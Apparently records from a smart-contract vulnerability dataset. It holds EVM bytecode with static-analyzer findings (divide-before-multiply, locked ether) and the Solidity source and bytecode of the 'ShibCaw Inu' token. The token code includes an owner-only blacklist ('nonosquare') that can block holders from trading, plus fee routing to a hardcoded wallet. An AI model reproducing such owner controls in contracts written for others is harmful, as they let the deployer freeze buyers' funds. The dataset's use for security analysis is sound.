0x6060604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c7578063095ea7b314610255578063163aa00d146102af57806317da485f146102d85780631801fbe51461030157806318160ddd1461034957806323b872dd146103725780632d38bf7a146103eb578063313ce5671461041457806332e99708146104435780633eaaf86b1461046c578063490203a7146104955780634ef37628146104be5780634fa972e1146104ef5780636de9f32b146105185780636fd396d61461054157806370a082311461059657806379ba5097146105e357806381269a56146105f8578063829965cc1461065657806387a2a9d61461067f5780638a769d35146106a85780638ae0368b146106d15780638da5cb5b1461070257806395d89b411461075757806397566aa0146107e5578063a9059cbb1461083e578063b5ade81b14610898578063bafedcaa146108c1578063cae9ca51146108ea578063cb9ae70714610987578063d4ee1d90146109b0578063dc39d06d14610a05578063dc6e9cf914610a5f578063dd62ed3e14610a88578063f2fde38b14610af4575b600080fd5b34156101d257600080fd5b6101da610b2d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021a5780820151818401526020810190506101ff565b50505050905090810190601f1680156102475780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026057600080fd5b610295600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bcb565b604051808215151515815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610cbd565b6040518082815260200191505060405180910390f35b34156102e357600080fd5b6102eb610cc3565b6040518082815260200191505060405180910390f35b341561030c57600080fd5b61032f600480803590602001909190803560001916906020019091905050610ce1565b604051808215151515815260200191505060405180910390f35b341561035457600080fd5b61035c610f71565b6040518082815260200191505060405180910390f35b341561037d57600080fd5b6103d1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fbc565b604051808215151515815260200191505060405180910390f35b34156103f657600080fd5b6103fe611267565b6040518082815260200191505060405180910390f35b341561041f57600080fd5b61042761126d565b604051808260ff1660ff16815260200191505060405180910390f35b341561044e57600080fd5b610456611280565b6040518082815260200191505060405180910390f35b341561047757600080fd5b61047f61128a565b6040518082815260200191505060405180910390f35b34156104a057600080fd5b6104a8611290565b6040518082815260200191505060405180910390f35b34156104c957600080fd5b6104d16112c8565b60405180826000191660001916815260200191505060405180910390f35b34156104fa57600080fd5b6105026112d2565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61052b6112d8565b6040518082815260200191505060405180910390f35b341561054c57600080fd5b6105546112de565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105a157600080fd5b6105cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611304565b6040518082815260200191505060405180910390f35b34156105ee57600080fd5b6105f661134d565b005b341561060357600080fd5b61063c600480803590602001909190803560001916906020019091908035600019169060200190919080359060200190919050506114ec565b604051808215151515815260200191505060405180910390f35b341561066157600080fd5b610669611581565b6040518082815260200191505060405180910390f35b341561068a57600080fd5b610692611587565b6040518082815260200191505060405180910390f35b34156106b357600080fd5b6106bb61158d565b6040518082815260200191505060405180910390f35b34156106dc57600080fd5b6106e4611593565b60405180826000191660001916815260200191505060405180910390f35b341561070d57600080fd5b610715611599565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561076257600080fd5b61076a6115be565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107aa57808201518184015260208101905061078f565b50505050905090810190601f1680156107d75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107f057600080fd5b6108206004808035906020019091908035600019169060200190919080356000191690602001909190505061165c565b60405180826000191660001916815260200191505060405180910390f35b341561084957600080fd5b61087e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116d5565b604051808215151515815260200191505060405180910390f35b34156108a357600080fd5b6108ab611870565b6040518082815260200191505060405180910390f35b34156108cc57600080fd5b6108d4611876565b6040518082815260200191505060405180910390f35b34156108f557600080fd5b61096d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061187c565b604051808215151515815260200191505060405180910390f35b341561099257600080fd5b61099a611ac6565b6040518082815260200191505060405180910390f35b34156109bb57600080fd5b6109c3611acc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a1057600080fd5b610a45600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611af2565b604051808215151515815260200191505060405180910390f35b3415610a6a57600080fd5b610a72611c3e565b6040518082815260200191505060405180910390f35b3415610a9357600080fd5b610ade600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c44565b6040518082815260200191505060405180910390f35b3415610aff57600080fd5b610b2b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ccb565b005b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bc35780601f10610b9857610100808354040283529160200191610bc3565b820191906000526020600020905b815481529060010190602001808311610ba657829003601f168201915b505050505081565b600081601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60115481565b6000610cdc600b54600a54611d6a90919063ffffffff16565b905090565b600080600080600c5433876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140182815260200193505050506040518091039020925084600019168360001916141515610d6a57600080fd5b600b5483600190041115610d7d57600080fd5b60136000600c54600019166000191681526020019081526020016000205491508260136000600c5460001916600019168152602001908152602001600020816000191690555060006001028260001916141515610dd957600080fd5b610de1611290565b9050610e3581601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e8d81601454611d8e90919063ffffffff16565b601481905550600e5460145411151515610ea357fe5b33600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060108190555043601181905550610efa611daa565b3373ffffffffffffffffffffffffffffffffffffffff167fcf6fbb9dcea7d07263ab4f5c3a92f53af33dffc421d9d121e1c74b307e68189d82600754600c54604051808481526020018381526020018260001916600019168152602001935050505060405180910390a26001935050505092915050565b6000601560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b600061101082601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5f90919063ffffffff16565b601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e282601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5f90919063ffffffff16565b601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111b482601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600d5481565b600460009054906101000a900460ff1681565b6000600b54905090565b60055481565b60006112c3600d5460020a600460009054906101000a900460ff1660ff16600a0a61138802611d6a90919063ffffffff16565b905090565b6000600c54905090565b600e5481565b60145481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000808333876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050828160019004111561156b57600080fd5b8460001916816000191614915050949350505050565b60075481565b600a5481565b600b5481565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116545780601f1061162957610100808354040283529160200191611654565b820191906000526020600020905b81548152906001019060200180831161163757829003601f168201915b505050505081565b6000808233866040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050809150509392505050565b600061172982601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5f90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117be82601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60085481565b60105481565b600082601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a59578082015181840152602081019050611a3e565b50505050905090810190601f168015611a865780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515611aa757600080fd5b6102c65a03f11515611ab857600080fd5b505050600190509392505050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4f57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611c1b57600080fd5b6102c65a03f11515611c2c57600080fd5b50505060405180519050905092915050565b60095481565b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d2657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082111515611d7a57600080fd5b8183811515611d8557fe5b04905092915050565b60008183019050828110151515611da457600080fd5b92915050565b600e54611dc9611db8611290565b601454611d8e90919063ffffffff16565b118015611dd857506027600d54105b15611dea576001600d5401600d819055505b611e076001600d540160020a600554611d6a90919063ffffffff16565b60055403600e81905550611e276001600754611d8e90919063ffffffff16565b6007819055506000600854600754811515611e3e57fe5b061415611e4e57611e4d611e7b565b5b6001430340600c8160001916905550565b6000828211151515611e7057600080fd5b818303905092915050565b6000806000806000806000600654430396506008549550600c8602945084871015611f3a57611ec687611eb860648861200c90919063ffffffff16565b611d6a90919063ffffffff16565b9350611ef06103e8611ee2606487611e5f90919063ffffffff16565b61203d90919063ffffffff16565b9250611f2f611f1e84611f106107d0600b54611d6a90919063ffffffff16565b61200c90919063ffffffff16565b600b54611e5f90919063ffffffff16565b600b81905550611fd0565b611f6085611f5260648a61200c90919063ffffffff16565b611d6a90919063ffffffff16565b9150611f8a6103e8611f7c606485611e5f90919063ffffffff16565b61203d90919063ffffffff16565b9050611fc9611fb882611faa6107d0600b54611d6a90919063ffffffff16565b61200c90919063ffffffff16565b600b54611d8e90919063ffffffff16565b600b819055505b43600681905550600954600b541015611fed57600954600b819055505b600a54600b54111561200357600a54600b819055505b50505050505050565b60008183029050600083148061202c575081838281151561202957fe5b04145b151561203757600080fd5b92915050565b60008183111561204f57819050612053565b8290505b929150505600a165627a7a72305820edc210ad6605012d8f204c8394a814b4889a0e3cc4d94f7ace64cef03419cc500029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,537
0x2435aCAD96Db78c25f12eE1eF32108f24A57dcC3
/** *Submitted for verification at Etherscan.io on 2022-04-27 */ /** @SHIBCAW INU Website: https://shibcawinu.com/ Telegram: https://t.me/shibcawinu */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShibCaw is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999999999 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "ShibCaw Inu"; string private constant _symbol = "SHIBCAW"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x4a7683F7BAdc73338f903BD4c484854Ddaca606a); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 6; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(2).div(100); _maxWalletSize = _tTotal.mul(4).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e29565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612930565b6104b4565b60405161018e9190612e0e565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcb565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612970565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128dd565b61060c565b60405161021f9190612e0e565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612843565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613040565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129b9565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a13565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612843565b6109db565b6040516103199190612fcb565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d40565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e29565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612930565b610c9a565b6040516103da9190612e0e565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a13565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289d565b6113c1565b60405161046e9190612fcb565b60405180910390f35b60606040518060400160405280600b81526020017f5368696243617720496e75000000000000000000000000000000000000000000815250905090565b60006104c86104c1611448565b8484611450565b6001905092915050565b6000670de0b6b36bc93600905090565b6104ea611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0b565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b613388565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e1565b91505061057a565b5050565b600061061984848461161b565b6106da84610625611448565b6106d58560405180606001604052806028815260200161374760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b611448565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cae9092919063ffffffff16565b611450565b600190509392505050565b6106ed611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e6611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0b565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610898611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0b565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b36bc93600611d1290919063ffffffff16565b611d8d90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa611448565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd7565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff